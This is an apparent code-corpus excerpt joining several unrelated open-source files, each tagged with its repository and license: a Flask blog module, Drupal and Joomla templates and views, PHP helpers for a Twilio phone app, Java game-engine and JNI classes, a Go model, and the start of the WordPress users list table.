logger.info("Editing existing blog post {}".format(post_id))
post = Blog.get_entry(post_id)
g.info["post_id"] = post_id
g.info["post"] = post
# Copy fields.
for field in ["author", "fid", "subject", "time", "format",
"body", "avatar", "categories", "privacy",
"sticky", "emoticons", "comments"]:
g.info[field] = post[field]
# Are we SUBMITTING the form?
if request.method == "POST":
action = request.form.get("action")
# Get all the fields from the posted params.
g.info["post_id"] = request.form.get("id")
for field in ["fid", "subject", "format", "body", "avatar", "categories", "privacy"]:
g.info[field] = request.form.get(field)
for boolean in ["sticky", "emoticons", "comments"]:
g.info[boolean] = True if request.form.get(boolean, None) == "true" else False
g.info["author"] = int(g.info["author"])
# What action are they doing?
if action == "preview":
g.info["preview"] = True
# Render markdown?
if g.info["format"] == "markdown":
g.info["rendered_body"] = render_markdown(g.info["body"])
else:
g.info["rendered_body"] = g.info["body"]
# Render emoticons.
if g.info["emoticons"]:
g.info["rendered_body"] = Emoticons.render(g.info["rendered_body"])
elif action == "publish":
# Publishing! Validate inputs first.
invalid = False
if len(g.info["body"]) == 0:
invalid = True
flash("You must enter a body for your blog post.")
if len(g.info["subject"]) == 0:
invalid = True
flash("You must enter a subject for your blog post.")
# Resetting the post's time stamp?
if not request.form.get("id") or request.form.get("reset-time"):
g.info["time"] = float(time.time())
else:
g.info["time"] = float(request.form.get("time", time.time()))
# Format the categories.
tags = []
for tag in g.info["categories"].split(","):
tags.append(tag.strip())
# Okay to update?
if invalid is False:
new_id, new_fid = Blog.post_entry(
post_id = g.info["post_id"],
epoch = g.info["time"],
author = g.info["author"],
subject = g.info["subject"],
fid = g.info["fid"],
avatar = g.info["avatar"],
categories = tags,
privacy = g.info["privacy"],
ip = remote_addr(),
emoticons = g.info["emoticons"],
sticky = g.info["sticky"],
comments = g.info["comments"],
format = g.info["format"],
body = g.info["body"],
)
return redirect(url_for(".entry", fid=new_fid))
if type(g.info["categories"]) is list:
g.info["categories"] = ", ".join(g.info["categories"])
return template("blog/update.html")
@mod.route("/delete", methods=["GET", "POST"])
@login_required
def delete():
"""Delete a blog post."""
post_id = request.args.get("id")
# Resolve the post ID.
post_id = Blog.resolve_id(post_id, drafts=True)
if not post_id:
flash("That blog post wasn't found.")
return redirect(url_for(".index"))
if request.method == "POST":
confirm = request.form.get("confirm")
if confirm == "true":
Blog.delete_entry(post_id)
flash("The blog entry has been deleted.")
return redirect(url_for(".index"))
# Get the entry's subject.
post = Blog.get_entry(post_id)
g.info["subject"] = post["subject"]
g.info["post_id"] = post_id
return template("blog/delete.html")
@mod.route("/rss")
def rss():
"""RSS feed for the blog."""
doc = Document()
rss = doc.createElement("rss")
rss.setAttribute("version", "2.0")
rss.setAttribute("xmlns:blogChannel", "http://backend.userland.com/blogChannelModule")
doc.appendChild(rss)
channel = doc.createElement("channel")
rss.appendChild(channel)
rss_time = "%a, %d %b %Y %H:%M:%S GMT"
######
## Channel Information
######
today = time.strftime(rss_time, time.gmtime())
xml_add_text_tags(doc, channel, [
["title", Config.blog.title],
["link", Config.blog.link],
["description", Config.blog.description],
["language", Config.blog.language],
["copyright", Config.blog.copyright],
["pubDate", today],
["lastBuildDate", today],
["webmaster", Config.blog.webmaster],
])
######
## Image Information
######
image = doc.createElement("image")
channel.appendChild(image)
xml_add_text_tags(doc, image, [
["title", Config.blog.image_title],
["url", Config.blog.image_url],
["link", Config.blog.link],
["width", Config.blog.image_width],
["height", Config.blog.image_height],
["description", Config.blog.image_description],
])
######
## Add the blog posts
######
index = Blog.get_index()
posts = get_index_posts(index)
for post_id in posts[:int(Config.blog.entries_per_feed)]:
post = Blog.get_entry(post_id)
item = doc.createElement("item")
channel.appendChild(item)
# Render the body.
if post["format"] == "markdown":
post["rendered_body"] = render_markdown(post["body"])
else:
post["rendered_body"] = post["body"]
# Render emoticons.
if post["emoticons"]:
post["rendered_body"] = Emoticons.render(post["rendered_body"])
xml_add_text_tags(doc, item, [
["title", post["subject"]],
["link", url_for("blog.entry", fid=post["fid"], _external=True)],
["description", post["rendered_body"]],
["pubDate", time.strftime(rss_time, time.gmtime(post["time"]))],
])
resp = make_response(doc.toprettyxml(encoding="utf-8"))
resp.headers["Content-Type"] = "application/rss+xml; charset=utf-8"
return resp
def xml_add_text_tags(doc, root_node, tags):
"""RSS feed helper function.
Add a collection of simple tag/text pairs to a root XML element."""
for pair in tags:
name, value = pair
channelTag = doc.createElement(name)
channelTag.appendChild(doc.createTextNode(unicode(value)))
root_node.appendChild(channelTag)
def partial_index(template_name="blog/index.inc.html", mode="normal"):
"""Partial template for including the index view of the blog.
Args:
template_name (str): The name of the template to be rendered.
mode (str): The view mode of the posts, one of:
- normal: Only list public entries, or private posts for users
who are logged in.
- drafts: Only list draft entries for logged-in users.
"""
# Get the blog index.
if mode == "normal":
index = Blog.get_index()
elif mode == "drafts":
index = Blog.get_drafts()
elif mode == "private":
index = Blog.get_private()
else:
return "Invalid partial_index mode."
# Let the pages know what mode they're in.
g.info["mode"] = mode
pool = {} # The set of blog posts to show.
category = g.info.get("url_category", None)
if category == Config.blog.default_category:
category = ""
# Are we narrowing by category?
if category is not None:
# Narrow down the index to just those that match the category.
for post_id, data in index.items():
if not category in data["categories"]:
continue
pool[post_id] = data
# No such category?
if len(pool) == 0:
flash("There are no posts with that category.")
return redirect(url_for(".index"))
else:
pool = index
# Get the posts we want.
posts = get_index_posts(pool)
# Handle pagination.
offset = request.args.get("skip", 0)
try: offset = int(offset)
except: offset = 0
# Handle the offsets, and get those for the "older" and "earlier" posts.
# "earlier" posts count down (towards index 0), "older" counts up.
g.info["offset"] = offset
g.info["earlier"] = offset - int(Config.blog.entries_per_page) if offset > 0 else 0
g.info["older"] = offset + int(Config.blog.entries_per_page)
if g.info["earlier"] < 0:
g.info["earlier"] = 0
if g.info["older"] < 0 or g.info["older"] > len(posts) - 1:
g.info["older"] = 0
g.info["count"] = 0
# Can we go to other pages?
g.info["can_earlier"] = True if offset > 0 else False
g.info["can_older"] = False if g.info["older"] == 0 else True
# Load the selected posts.
selected = []
stop = offset + int(Config.blog.entries_per_page)
if stop > len(posts): stop = len(posts)
index = 1 # Let each post know its position on-page.
for i in range(offset, stop):
post_id = posts[i]
post = Blog.get_entry(post_id)
post["post_id"] = post_id
# Body has a snipped section?
if "<snip>" in post["body"]:
post["body"] = post["body"].split("<snip>")[0]
post["snipped"] = True
# Render the body.
if post["format"] == "markdown":
post["rendered_body"] = render_markdown(post["body"])
else:
post["rendered_body"] = post["body"]
# Render emoticons.
if post["emoticons"]:
post["rendered_body"] = Emoticons.render(post["rendered_body"])
# Get the author's information.
post["profile"] = User.get_user(uid=post["author"])
post["photo"] = User.get_picture(uid=post["author"])
post["photo_url"] = Config.photo.root_public
post["pretty_time"] = pretty_time(Config.blog.time_format, post["time"])
# Count the comments for this post
post["comment_count"] = Comment.count_comments("blog-{}".format(post_id))
post["position_index"] = index
index += 1
selected.append(post)
g.info["count"] += 1
g.info["category"] = category
g.info["posts"] = selected
return template(template_name)
def get_index_posts(index):
"""Helper function to get data for the blog index page."""
# Separate the sticky posts from the normal ones.
sticky, normal = set(), set()
for post_id, data in index.items():
if data["sticky"]:
sticky.add(post_id)
else:
normal.add(post_id)
# Sort the blog IDs by published time.
posts = []
posts.extend(sorted(sticky, key=lambda x: index[x]["time"], reverse=True))
posts.extend(sorted(normal, key=lambda x: index[x]["time"], reverse=True))
return posts
def partial_tags():
"""Get a listing of tags and their quantities for the nav bar."""
tags = Blog.get_categories()
# Sort the tags by popularity.
sort_tags = [ tag for tag in sorted(tags.keys(), key=lambda y: tags[y], reverse=True) ]
result = []
has_small = False
for tag in sort_tags:
result.append(dict(
category=tag if len(tag) else Config.blog.default_category,
count=tags[tag],
small=tags[tag] < 10, # TODO: make this configurable
))
if tags[tag] < 10:
has_small = True
g.info["tags"] = result
g.info["has_small"] = has_small
return template("blog/categories.inc.html")
| kirsle/rophako | rophako/modules/blog/__init__.py | Python | gpl-2.0 | 18,180 |
<div class="<?php print $node_classes ?>" id="node-<?php print $node->nid; ?>">
<div class="forum-post">
<div class="user-info">
<?php print $picture ?>
<div class="user-title">
<?php print $user_title; ?>
</div>
<div class="user-since">
<?php print t('Joined'); ?>: <strong><?php print $user_since; ?></strong>
</div>
<?php if (isset($user_posts)): ?>
<div class="user-posts">
<?php print t('Posts'); ?>: <strong><?php print $user_posts; ?></strong>
</div>
<?php endif; ?>
<?php if ($user_city): ?>
<div class="user-city">
<?php print $user_city; ?>
</div>
<?php endif; ?>
<?php if ($user_country): ?>
<div class="user-country">
<?php print $user_country; ?>
</div>
<?php endif; ?>
</div>
<?php if ($page == 0): ?>
<div class="clear-block">
<div class="content-type">
<?php print drupal_strtoupper($node->type); ?>
</div>
</div>
<?php endif; ?>
<?php if ($submitted): ?>
<div class="submitted"><?php print format_date($node->created, 'large') ?></div>
<?php endif; ?>
<?php if (!$hide_attribution && $submitted): ?>
<div class="username"><?php print theme('username', $node) ?>:</div>
<?php endif; ?>
<?php if ($page == 0): ?>
<h2 class="node-title title">
<a href="<?php print $node_url ?>"><?php print $title; ?></a>
</h2>
<?php else: ?>
<div class="subject">
<?php print $title; ?>
</div>
<?php endif; ?>
<div class="content clear-block">
<?php print $content; ?>
</div>
<div class="links clear-block">
<?php if ($links): ?>
<?php print $links; ?>
<?php endif; ?>
</div>
</div>
</div>
| product31/zardoc | sites/all/themes/_multisite/node-forum.tpl.php | PHP | gpl-2.0 | 1,839 |
<?php
function auth()
{
/* OVH Hosting fix, they don't set PHP_AUTH_USER, add this .htaccess
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>
*/
if (isset($_SERVER['REMOTE_USER'])) {
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', base64_decode(substr($_SERVER['REMOTE_USER'], 6)));
}
if (! isset($_SERVER['PHP_AUTH_USER']) || ($_SERVER['PHP_AUTH_PW'] != APP_PASSWORD || $_SERVER['PHP_AUTH_USER'] != APP_USER)) {
header('WWW-Authenticate: Basic realm="Nomadic Phone Authentication"');
header('HTTP/1.0 401 Unauthorized');
echo 'Auth failed';
exit;
}
}
function handler($name, \Closure $callback)
{
$exclude_handlers = array('receive-call', 'callback-call', 'receive-sms', 'callback-sms');
$handler = isset($_GET['handler']) ? $_GET['handler'] : 'default';
if (! in_array($handler, $exclude_handlers)) {
auth();
}
if ($handler === $name) $callback();
}
function debug($variable, $info = '')
{
if (DEBUG) {
file_put_contents(
'debug.txt',
"\n\n--- $info\n".date('Y-m-d H:i:s')."\n".var_export($variable, true),
FILE_APPEND | LOCK_EX
);
}
}
function db_connect()
{
$pdo = new PDO('sqlite:'.DB_FILENAME);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return $pdo;
}
function db_init()
{
$db = db_connect();
$db->exec('CREATE TABLE IF NOT EXISTS sms (
id TEXT PRIMARY KEY,
from_number TEXT,
to_number TEXT,
message TEXT,
date_created TEXT,
from_geo TEXT,
to_geo TEXT,
status TEXT
)');
$db->exec('CREATE TABLE IF NOT EXISTS calls (
id TEXT PRIMARY KEY,
from_number TEXT,
to_number TEXT,
date_created TEXT,
from_geo TEXT,
to_geo TEXT,
status TEXT,
call_duration TEXT,
recording_url TEXT,
recording_id TEXT,
recording_duration TEXT
)');
$db->exec('CREATE TABLE IF NOT EXISTS incoming_calls (
action TEXT DEFAULT \'recording\',
redirect_number TEXT
)');
}
function api_call($method, $path, array $data = array())
{
$headers = array(
'User-Agent: NomadicPhone',
'Connection: close'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, API_BASE_URL.ACCOUNT_SID.$path);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, ACCOUNT_SID.':'.AUTH_TOKEN);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
$http_response = curl_exec($ch);
curl_close($ch);
return json_decode($http_response, true);
}
function mail_alert($subject, $message)
{
$subject = "=?UTF-8?B?".base64_encode($subject)."?=";
$headers = "From: Nomadic Phone <no-reply@fredericguillot.com>\r\n".
"MIME-Version: 1.0" . "\r\n" .
"Content-type: text/plain; charset=UTF-8" . "\r\n";
return mail(MAIL_ADDRESS, $subject, $message, $headers);
}
function response_api($xml = '')
{
header('Content-Type: application/xml');
$data = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
$data .= '<Response>'.$xml.'</Response>';
debug($data, 'response api');
echo $data;
exit;
}
function response_html($body)
{
echo '
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>Nomadic Phone</title>
<link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.2.2/css/bootstrap-combined.min.css" rel="stylesheet"/>
<style type="text/css">
label {
font-weight: bold;
cursor: pointer;
}
body {
padding-top: 50px;
}
</style>
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.2.2/js/bootstrap.min.js"></script>
<script type="text/javascript" src="//static.twilio.com/libs/twiliojs/1.1/twilio.min.js"></script>
</head>
<body>
<div class="container-fluid">
<div class="navbar navbar-fixed-top navbar-inverse">
<div class="navbar-inner">
<div class="container">
<a class="brand" href="?">Nomadic Phone</a>
<ul class="nav">
<li '.(! isset($_GET['handler']) || $_GET['handler'] == 'incoming-calls' ? 'class="active"' : '').'><a href="?">Incoming calls</a></li>
<li '.(isset($_GET['handler']) && substr($_GET['handler'], -4) == 'call' ? 'class="active"' : '').'><a href="?handler=create-call">Make a call</a></li>
<li '.(isset($_GET['handler']) && $_GET['handler'] == 'call-history' ? 'class="active"' : '').'><a href="?handler=call-history">Calls history</a></li>
<li '.(isset($_GET['handler']) && substr($_GET['handler'], -3) == 'sms' ? 'class="active"' : '').'><a href="?handler=create-sms">Send a SMS</a></li>
<li '.(isset($_GET['handler']) && $_GET['handler'] == 'sms-history' ? 'class="active"' : '').'><a href="?handler=sms-history">SMS history</a></li>
</ul>
<p class="navbar-text pull-right" style="color: red; font-size: 1.4em">'.PHONE_NUMBER.'</p>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span12">'.$body.'</div>
</div>
</div>
</body>
</html>';
exit;
} | bronfman/NomadicPhone | src/common.php | PHP | gpl-2.0 | 6,071 |
<?php
/**
* @version 1.0.0
* @package com_somosmaestros
* @copyright Copyright (C) 2015. Todos los derechos reservados.
* @license Licencia Pública General GNU versión 2 o posterior. Consulte LICENSE.txt
* @author Daniel Gustavo Álvarez Gaitán <info@danielalvarez.com.co> - http://danielalvarez.com.co
*/
// No direct access
defined('_JEXEC') or die;
jimport('joomla.application.component.view');
/**
* View class for a list of Somosmaestros.
*/
class SomosmaestrosViewBlogs extends JViewLegacy {
protected $items;
protected $pagination;
protected $state;
/**
* Display the view
*/
public function display($tpl = null) {
$this->state = $this->get('State');
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
// Check for errors.
if (count($errors = $this->get('Errors'))) {
throw new Exception(implode("\n", $errors));
}
SomosmaestrosHelper::addSubmenu('blogs');
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @since 1.6
*/
protected function addToolbar() {
require_once JPATH_COMPONENT . '/helpers/somosmaestros.php';
$state = $this->get('State');
$canDo = SomosmaestrosHelper::getActions($state->get('filter.category_id'));
JToolBarHelper::title(JText::_('COM_SOMOSMAESTROS_TITLE_BLOGS'), 'blogs.png');
//Check if the form exists before showing the add/edit buttons
$formPath = JPATH_COMPONENT_ADMINISTRATOR . '/views/blog';
if (file_exists($formPath)) {
if ($canDo->get('core.create')) {
JToolBarHelper::addNew('blog.add', 'JTOOLBAR_NEW');
}
if ($canDo->get('core.edit') && isset($this->items[0])) {
JToolBarHelper::editList('blog.edit', 'JTOOLBAR_EDIT');
}
}
if ($canDo->get('core.edit.state')) {
if (isset($this->items[0]->state)) {
JToolBarHelper::divider();
JToolBarHelper::custom('blogs.publish', 'publish.png', 'publish_f2.png', 'JTOOLBAR_PUBLISH', true);
JToolBarHelper::custom('blogs.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
} else if (isset($this->items[0])) {
//If this component does not use state then show a direct delete button as we can not trash
JToolBarHelper::deleteList('', 'blogs.delete', 'JTOOLBAR_DELETE');
}
if (isset($this->items[0]->state)) {
JToolBarHelper::divider();
JToolBarHelper::archiveList('blogs.archive', 'JTOOLBAR_ARCHIVE');
}
if (isset($this->items[0]->checked_out)) {
JToolBarHelper::custom('blogs.checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);
}
}
//Show trash and delete for components that uses the state field
if (isset($this->items[0]->state)) {
if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) {
JToolBarHelper::deleteList('', 'blogs.delete', 'JTOOLBAR_EMPTY_TRASH');
JToolBarHelper::divider();
} else if ($canDo->get('core.edit.state')) {
JToolBarHelper::trash('blogs.trash', 'JTOOLBAR_TRASH');
JToolBarHelper::divider();
}
}
if ($canDo->get('core.admin')) {
JToolBarHelper::preferences('com_somosmaestros');
}
//Set sidebar action - New in 3.0
JHtmlSidebar::setAction('index.php?option=com_somosmaestros&view=blogs');
$this->extra_sidebar = '';
JHtmlSidebar::addFilter(
JText::_('JOPTION_SELECT_PUBLISHED'),
'filter_published',
JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), "value", "text", $this->state->get('filter.state'), true)
);
//Filter for the field categoria;
jimport('joomla.form.form');
$options = array();
JForm::addFormPath(JPATH_COMPONENT . '/models/forms');
$form = JForm::getInstance('com_somosmaestros.blog', 'blog');
$field = $form->getField('categoria');
$query = $form->getFieldAttribute('filter_categoria','query');
$translate = $form->getFieldAttribute('filter_categoria','translate');
$key = $form->getFieldAttribute('filter_categoria','key_field');
$value = $form->getFieldAttribute('filter_categoria','value_field');
// Get the database object.
$db = JFactory::getDBO();
// Set the query and get the result list.
$db->setQuery($query);
$items = $db->loadObjectlist();
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($translate == true)
{
$options[] = JHtml::_('select.option', $item->$key, JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key, $item->$value);
}
}
}
JHtmlSidebar::addFilter(
'$Categoria',
'filter_categoria',
JHtml::_('select.options', $options, "value", "text", $this->state->get('filter.categoria')),
true
);
}
protected function getSortFields()
{
return array(
'a.id' => JText::_('JGRID_HEADING_ID'),
'a.ordering' => JText::_('JGRID_HEADING_ORDERING'),
'a.state' => JText::_('JSTATUS'),
'a.titulo' => JText::_('COM_SOMOSMAESTROS_BLOGS_TITULO'),
'a.categoria' => JText::_('COM_SOMOSMAESTROS_BLOGS_CATEGORIA'),
'a.destacado' => JText::_('COM_SOMOSMAESTROS_BLOGS_DESTACADO'),
'a.publico' => JText::_('COM_SOMOSMAESTROS_BLOGS_PUBLICO'),
'a.delegacion' => JText::_('COM_SOMOSMAESTROS_BLOGS_DELEGACION'),
'a.tipo_institucion' => JText::_('COM_SOMOSMAESTROS_BLOGS_TIPO_INSTITUCION'),
'a.segmento' => JText::_('COM_SOMOSMAESTROS_BLOGS_SEGMENTO'),
'a.nivel' => JText::_('COM_SOMOSMAESTROS_BLOGS_NIVEL'),
'a.ciudad' => JText::_('COM_SOMOSMAESTROS_BLOGS_CIUDAD'),
'a.area' => JText::_('COM_SOMOSMAESTROS_BLOGS_AREA'),
'a.rol' => JText::_('COM_SOMOSMAESTROS_BLOGS_ROL'),
'a.proyecto' => JText::_('COM_SOMOSMAESTROS_BLOGS_PROYECTO'),
);
}
}
| emeraldstudio/somosmaestros | administrator/components/com_somosmaestros/views/blogs/view.html.php | PHP | gpl-2.0 | 6,565 |
package Magnet;
import java.awt.Color;
import java.awt.Graphics2D;
import java.util.ArrayList;
import Magnet.ApplicationLayer.Input;
import Magnet.GameLogic.GameState;
import Magnet.GameLogic.Math.Vector2f;
import Magnet.GameView.Window;
/**
* The Base class of "Magnet Engine".
*
* @author Léon Möhring
* @version 0.0
*
*/
public abstract class Magnet implements Runnable {
private static Window display;
private static Thread thread;
private static boolean running = false;
private static int preferredUps = 60;
public static int actualFps = 0;
public static int actualUps = 0;
private static Vector2f size;
private static String title = "Magnet";
private int bufferCount;
public abstract void init();
protected static ArrayList<GameState> gameStates = new ArrayList<GameState>();
private static int currentState = -1;
public static final int getCurrentGameState() {
return currentState;
}
private final void initMagnet() {
display = new Window(title, (int) size.x, (int) size.y, bufferCount);
Input.init(display.getCanvas());
}
private static final void render() {
getGraphics().setColor(Color.BLACK);
getGraphics().fillRect(0, 0, (int) size.x, (int) size.y);
if (!(currentState > gameStates.size()) && !(currentState < 0)) {
if (gameStates.get(currentState) != null) gameStates.get(currentState).render();
}
display.renderToScreen();
}
public static final void update() {
Input.poll();
if (!(currentState > gameStates.size()) && !(currentState < 0)) {
if (gameStates.get(currentState) != null) gameStates.get(currentState).update();
}
display.setTitle(title + " | " + actualFps + " fps " + actualUps + " ups");
}
public static final void reloadCurrentGameState() {
gameStates.get(currentState).init();
}
public static final void setCurrentGameState(int i) {
if (i == currentState) return;
// start the new state
if (i > gameStates.size() || i < 0) return;
currentState = i;
gameStates.get(currentState).init();
}
public static final void addGameState(GameState state) {
gameStates.add(state);
}
public static final void removeGameState(GameState state) {
gameStates.remove(state);
}
public final synchronized void start(int width, int height, int bufferCount) {
size = new Vector2f(width, height);
this.bufferCount = bufferCount;
running = true;
thread = new Thread(this, "MagnetEngine_Main");
System.out.println("MagnetEngine Main Thread has been STARTED!");
thread.start();
}
public final synchronized void stop() {
running = false;
System.out.println("MagnetEngine Main Thread has been STOPPED!");
System.exit(0);
}
public final void run() {
initMagnet();
init();
int frames = 0;
int updates = 0;
long lastTime = System.nanoTime();
long timer = System.currentTimeMillis();
double delta = 0;
running = true;
while (running) {
// call the update method
long now = System.nanoTime();
double ns = 1000000000.0 / preferredUps;
delta += (now - lastTime) / ns;
lastTime = now;
while (delta >= 1) {
update();
updates++;
delta--;
}
// call the render method
render();
frames++;
// refresh the actualUps and actualFps once every second
if (System.currentTimeMillis() - timer > 1000) {
timer += 1000;
actualUps = updates;
actualFps = frames;
updates = 0;
frames = 0;
}
}
stop();
}
/**
* {@code public final void setPreferredUps(int ups)}
*
* <p>
*
* Sets the preferred number of calling the update method per second. The
* default value is 60.
*
* @param ups
*/
public static final void setPreferredUps(int ups) {
preferredUps = ups;
}
public static final void setSize(int width, int height) {
size.x = width;
size.y = height;
// set size missing
}
public static final void setDisplayTitle(String displayTitle) {
title = displayTitle;
display.setTitle(displayTitle);
}
public static final Graphics2D getGraphics() {
return display.getGraphics();
}
public static final int getDisplayWidth() {
return (int) size.x;
}
public static final int getDisplayHeight() {
return (int) size.y;
}
public static final String getDisplayTitle() {
return title;
}
}
| leomoe98/Buried-MagnetEngine- | Buried MagnetEngine/src/Magnet/Magnet.java | Java | gpl-2.0 | 4,427 |
/*
Copyright (c) 2006-2011, Alexis Royer, http://alexis.royer.free.fr/CLI
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of the CLI library project nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package cli.ui;
/** Float user interface class. */
public class Float extends Line {
/** Constructor.
@param D_DefaultValue Default value.
@param D_MinValue Minimum value.
@param D_MaxValue Maximum value. */
public Float(double D_DefaultValue, double D_MinValue, double D_MaxValue) {
super(__Float(D_DefaultValue, D_MinValue, D_MaxValue));
}
private static final native int __Float(double D_DefaultValue, double D_MinValue, double D_MaxValue);
/** Destructor. */
protected void finalize() throws Throwable {
if (getbDoFinalize()) {
__finalize(this.getNativeRef());
dontFinalize(); // finalize once.
}
super.finalize();
}
private static final native void __finalize(int I_NativeFloatRef);
/** Float retrieval.
@return Float value entered by the user. */
public double getFloat() {
return __getFloat(this.getNativeRef());
}
private static final native double __getFloat(int I_NativeFloatRef);
}
| snua12/zlomekfs | zfsd/control/cli/lib/cli-2.7/java/src/cli/ui/Float.java | Java | gpl-2.0 | 2,708 |
package models
import "time"
type SysOnline struct {
UserID int `orm:"column(UserID);null"`
UserName string `orm:"column(UserName);size(50);null"`
LastLogTime time.Time `orm:"column(LastLogTime);type(datetime);null"`
}
| xiongpf/GoCRM | models/Sys_online.go | GO | gpl-2.0 | 241 |
<?php
/**
* Users List Table class.
*
* @since 3.1.0
* @access private
*
* @package WordPress
* @subpackage List_Table
*/
class WP_Users_List_Table extends WP_List_Table {
/**
* Site ID to generate the Users list table for.
*
* @since 3.1.0
* @access public
* @var int
*/
public $site_id;
/**
* Whether or not the current Users list table is for Multisite.
*
* @since 3.1.0
* @access public
* @var bool
*/
public $is_site_users;
/**
* Constructor.
*
* @since 3.1.0
* @access public
*
* @see WP_List_Table::__construct() for more information on default arguments.
*
* @param array $args An associative array of arguments.
*/
public function __construct( $args = array() ) {
parent::__construct( array(
'singular' => 'user',
'plural' => 'users',
'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
) );
$this->is_site_users = 'site-users-network' == $this->screen->id;
if ( $this->is_site_users )
$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
}
/**
* Check the current user's permissions.
*
* @since 3.1.0
* @access public
*/
public function ajax_user_can() {
if ( $this->is_site_users )
return current_user_can( 'manage_sites' );
else
return current_user_can( 'list_users' );
}
/**
* Prepare the users list for display.
*
* @since 3.1.0
* @access public
*/
public function prepare_items() {
global $role, $usersearch;
$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
$per_page = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
$users_per_page = $this->get_items_per_page( $per_page );
$paged = $this->get_pagenum();
$args = array(
'number' => $users_per_page,
'offset' => ( $paged-1 ) * $users_per_page,
'role' => $role,
'search' => $usersearch,
'fields' => 'all_with_meta'
);
if ( '' !== $args['search'] )
$args['search'] = '*' . $args['search'] . '*';
if ( $this->is_site_users )
$args['blog_id'] = $this->site_id;
if ( isset( $_REQUEST['orderby'] ) )
$args['orderby'] = $_REQUEST['orderby'];
if ( isset( $_REQUEST['order'] ) )
$args['order'] = $_REQUEST['order'];
// Query the user IDs for this page
$wp_user_search = new WP_User_Query( $args );
$this->items = $wp_user_search->get_results();
$this->set_pagination_args( array(
'total_items' => $wp_user_search->get_total(),
'per_page' => $users_per_page,
) );
}
/**
* Output 'no users' message.
*
* @since 3.1.0
* @access public
*/
public function no_items() {
_e( 'No matching users were found.' );
}
/**
* Return an associative array listing all the views that can be used
* with this table.
*
* Provides a list of roles and user count for that role for easy
* filtering of the user table.
*
* @since 3.1.0
* @access protected
*
* @return array An array of HTML links, one for each view.
*/
protected function get_views() {
global $wp_roles, $role;
if ( $this->is_site_users ) {
$url = 'site-users.php?id=' . $this->site_id;
switch_to_blog( $this->site_id );
$users_of_blog = count_users();
restore_current_blog();
} else {
$url = 'users.php';
$users_of_blog = count_users();
}
$total_users = $users_of_blog['total_users'];
$avail_roles =& $users_of_blog['avail_roles'];
unset($users_of_blog);
$class = empty($role) ? ' class="current"' : '';
$role_links = array();
$role_links['all'] = "<a href='$url'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
foreach ( $wp_roles->get_names() as $this_role => $name ) {
if ( !isset($avail_roles[$this_role]) )
continue;
$class = '';
if ( $this_role == $role ) {
$class = ' class="current"';
}
$name = translate_user_role( $name );
/* translators: User role name with count */
$name = sprintf( __('%1$s <span class="count">(%2$s)</span>'), $name, number_format_i18n( $avail_roles[$this_role] ) );
$role_links[$this_role] = "<a href='" . esc_url( add_query_arg( 'role', $this_role, $url ) ) . "'$class>$name</a>";
}
return $role_links;
}
/**
* Retrieve an associative array of bulk actions available on this table.
*
* @since 3.1.0
* @access protected
*
* @return array Array of bulk actions.
*/
protected function get_bulk_actions() {
$actions = array();
if ( is_multisite() ) {
if ( current_user_can( 'remove_users' ) )
$actions['remove'] = __( 'Remove' );
} else {
